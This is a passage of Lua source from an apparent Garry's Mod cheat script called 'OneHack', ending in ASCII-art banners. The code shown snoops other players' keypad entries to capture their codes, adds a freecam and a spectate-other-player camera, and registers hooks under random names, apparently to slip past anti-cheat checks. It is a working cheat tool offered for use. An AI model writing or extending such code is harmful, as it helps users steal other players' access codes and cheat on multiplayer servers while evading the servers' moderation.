2386 y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
2387 w = 0.25,
2388 h = 0.13,
2389 text = tostring(i),
2390 }
2391 table.insert(elements, element)
2392 end
2393end
2394
2395
2396function onehack.CalculateKeypadCursorPos(ply, ent)
2397 if !ply:IsValid() then return end
2398
2399 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
2400 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
2401
2402 local scale = ent.Scale
2403 if !scale then return 0, 0 end
2404
2405 local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
2406 if !pos or !ang then return 0, 0 end
2407 local normal = ent:GetForward()
2408
2409 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
2410 if !intersection then return 0, 0 end
2411
2412 local diff = pos - intersection
2413
2414 local x = diff:Dot( -ang:Forward() ) / scale
2415 local y = diff:Dot( -ang:Right() ) / scale
2416
2417 return x, y
2418end
2419
2420function onehack.KPGetHoveredElement(ply, ent)
2421 local scale = ent.Scale
2422
2423 local w, h = ent.Width2D, ent.Height2D
2424 local x, y = onehack.CalculateKeypadCursorPos(ply, ent)
2425
2426 for _, element in ipairs(elements) do
2427 local element_x = w * element.x
2428 local element_y = h * element.y
2429 local element_w = w * element.w
2430 local element_h = h * element.h
2431
2432 if element_x < x and element_x + element_w > x and
2433 element_y < y and element_y + element_h > y
2434 then
2435 return element
2436 end
2437 end
2438end
2439hook.Add("Think",onehack.RandomString(17),function()
2440 if onehack.Vars['keypad_jiw'] then
2441 for k, v in pairs(player.GetAll()) do
2442 local kp = v:GetEyeTrace().Entity
2443 if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
2444 kp.tempCode = kp.tempCode or ""
2445 kp.tempText = kp.tempText or ""
2446 kp.tempStatus = kp.tempStatus or 0
2447 if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
2448 kp.tempText = kp:GetText()
2449 kp.tempStatus = kp:GetStatus()
2450 if(kp.tempText && !kp:GetSecure()) then
2451 kp.tempCode = kp.tempText
2452 timer.Simple(0, function()
2453 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2454 kp.code = kp.tempCode
2455 end
2456 end)
2457 else
2458 local i = onehack.KPGetHoveredElement(v, kp)
2459 if (i) then i = i.text end
2460 if kp.tempText then
2461 timer.Simple(0, function()
2462 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2463 kp.code = kp.tempCode
2464 end
2465 end)
2466 end
2467 if kp.tempText == "" || kp:GetStatus() == 2 then
2468 kp.tempCode = ""
2469 end
2470 timer.Simple(0, function()
2471 if(tonumber(i) && kp:GetText():len() != 0) then
2472 kp.tempCode = kp.tempCode..i
2473 end
2474 end)
2475 end
2476 end
2477 end
2478 end
2479 end
2480end)
2481hook.Add("CreateMove",onehack.RandomString(17),function(cmd)
2482 if onehack.Vars['FCAM'] then
2483 cmd:ClearButtons()
2484 cmd:ClearMovement()
2485 cmd:SetMouseX(0)
2486 cmd:SetMouseY(0)
2487 end
2488end)
2489
2490function onehack.cameracalculate( ply, pos, angles, fov )
2491 if onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
2492 local view = {}
2493 view.origin = onehack.SpectatePlayer:EyePos() or Vector(0,0,0)
2494 view.angles = onehack.SpectatePlayer:EyeAngles() or Angle(0,0,0)
2495 view.fov = fov
2496 view.drawviewer = true
2497 return view
2498 elseif onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:GetClass() == "gmod_cameraprop" then
2499 local view = {}
2500 view.origin = onehack.SpectatePlayer:GetPos() or Vector(0,0,0)
2501 view.angles = onehack.SpectatePlayer:GetAngles() or Angle(0,0,0)
2502 view.fov = fov
2503 view.drawviewer = true
2504 return view
2505 end
2506 if onehack.Vars['FCAM'] then
2507 local view = {}
2508 local newang = angles
2509 onehack.StartCamAng = LocalPlayer():GetAngles()
2510 local speed = onehack.CamSpeed_Normal
2511 if input.IsKeyDown(KEY_LSHIFT) then
2512 speed = onehack.CamSpeed_Fast
2513 elseif input.IsKeyDown(KEY_LCONTROL) then
2514 speed = onehack.CamSpeed_Slow
2515 else
2516 speed = onehack.CamSpeed_Normal
2517 end
2518 if input.IsKeyDown(KEY_W) then
2519 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Forward() * speed
2520 end
2521 if input.IsKeyDown(KEY_A) then
2522 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Right() * speed
2523 end
2524 if input.IsKeyDown(KEY_D) then
2525 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Right() * speed
2526 end
2527 if input.IsKeyDown(KEY_S) then
2528 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Forward() * speed
2529 end
2530 if input.IsKeyDown(KEY_SPACE) then
2531 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Up() * speed
2532 end
2533 --LocalPlayer():SetPos(onehack.StartCamPos)
2534 view.origin = onehack.StartCamPos
2535 view.angles = newang
2536 view.fov = fov
2537 view.drawviewer = true
2538 return view
2539 end
2540end
2541hook.Add( "CalcView", onehack.RandomString(17), onehack.cameracalculate )
2542
2543MsgC(onehack.theme.chroma,[[
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593 ________ ________ _______ ___ ___ ________ ________ ___ __
2594|\ __ \|\ ___ \|\ ___ \ |\ \|\ \|\ __ \|\ ____\|\ \|\ \
2595\ \ \|\ \ \ \\ \ \ \ __/|\ \ \\\ \ \ \|\ \ \ \___|\ \ \/ /|_
2596 \ \ \\\ \ \ \\ \ \ \ \_|/_\ \ __ \ \ __ \ \ \ \ \ ___ \
2597 \ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \\ \ \
2598 \ \_______\ \__\\ \__\ \_______\ \__\ \__\ \__\ \__\ \_______\ \__\\ \__\
2599 \|_______|\|__| \|__|\|_______|\|__|\|__|\|__|\|__|\|_______|\|__| \|__|
2600 ___ ___ _____ ________ ________
2601 |\ \ / /|/ __ \ |\ __ \ |\ __ \
2602 \ \ \ / / /\/_|\ \ \ \ \|\ \ \ \ \|\ \
2603 \ \ \/ / /\|/ \ \ \ \ \ \\\ \ \ \ \\\ \
2604 \ \ / / \ \ \ __\ \ \\\ \ __\ \ \\\ \
2605 \ \__/ / \ \__\\__\ \_______\\__\ \_______\
2606 \|__|/ \|__\|__|\|_______\|__|\|_______|]])
2607 MsgC(onehack.theme.chromaalt,[[
2608
2609 ________ ________ _______ ________ ___ _________ ________
2610 |\ ____\|\ __ \|\ ___ \ |\ ___ \|\ \|\___ ___\\ ____\ ___
2611 \ \ \___|\ \ \|\ \ \ __/|\ \ \_|\ \ \ \|___ \ \_\ \ \___|_|\__\
2612 \ \ \ \ \ _ _\ \ \_|/_\ \ \ \\ \ \ \ \ \ \ \ \_____ \|__|
2613 \ \ \____\ \ \\ \\ \ \_|\ \ \ \_\\ \ \ \ \ \ \ \|____|\ \ ___
2614 \ \_______\ \__\\ _\\ \_______\ \_______\ \__\ \ \__\ ____\_\ \|\__\
2615 \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__| |\_________\|__|
2616 \|_________|
2617 ________ ________ _______ ________ ________ _______ ___ ___
2618 |\ _____\\ __ \|\ ___ \ |\ __ \ |\ ___ \|\ ___ \ |\ \ / /|
2619 \ \ \__/\ \ \|\ \ \ __/|\ \ \|\ \ ____________ \ \ \_|\ \ \ __/|\ \ \ / / /
2620 \ \ __\\ \ \\\ \ \ \_|/_\ \ _ _\ |\____________\ \ \ \ \\ \ \ \_|/_\ \ \/ / /
2621 \ \ \_| \ \ \\\ \ \ \_|\ \ \ \\ \| \|____________| \ \ \_\\ \ \ \_|\ \ \ / /
2622 \ \__\ \ \_______\ \_______\ \__\\ _\ \ \_______\ \_______\ \__/ /
2623 \|__| \|_______|\|_______|\|__|\|__| \|_______|\|_______|\|__|/]])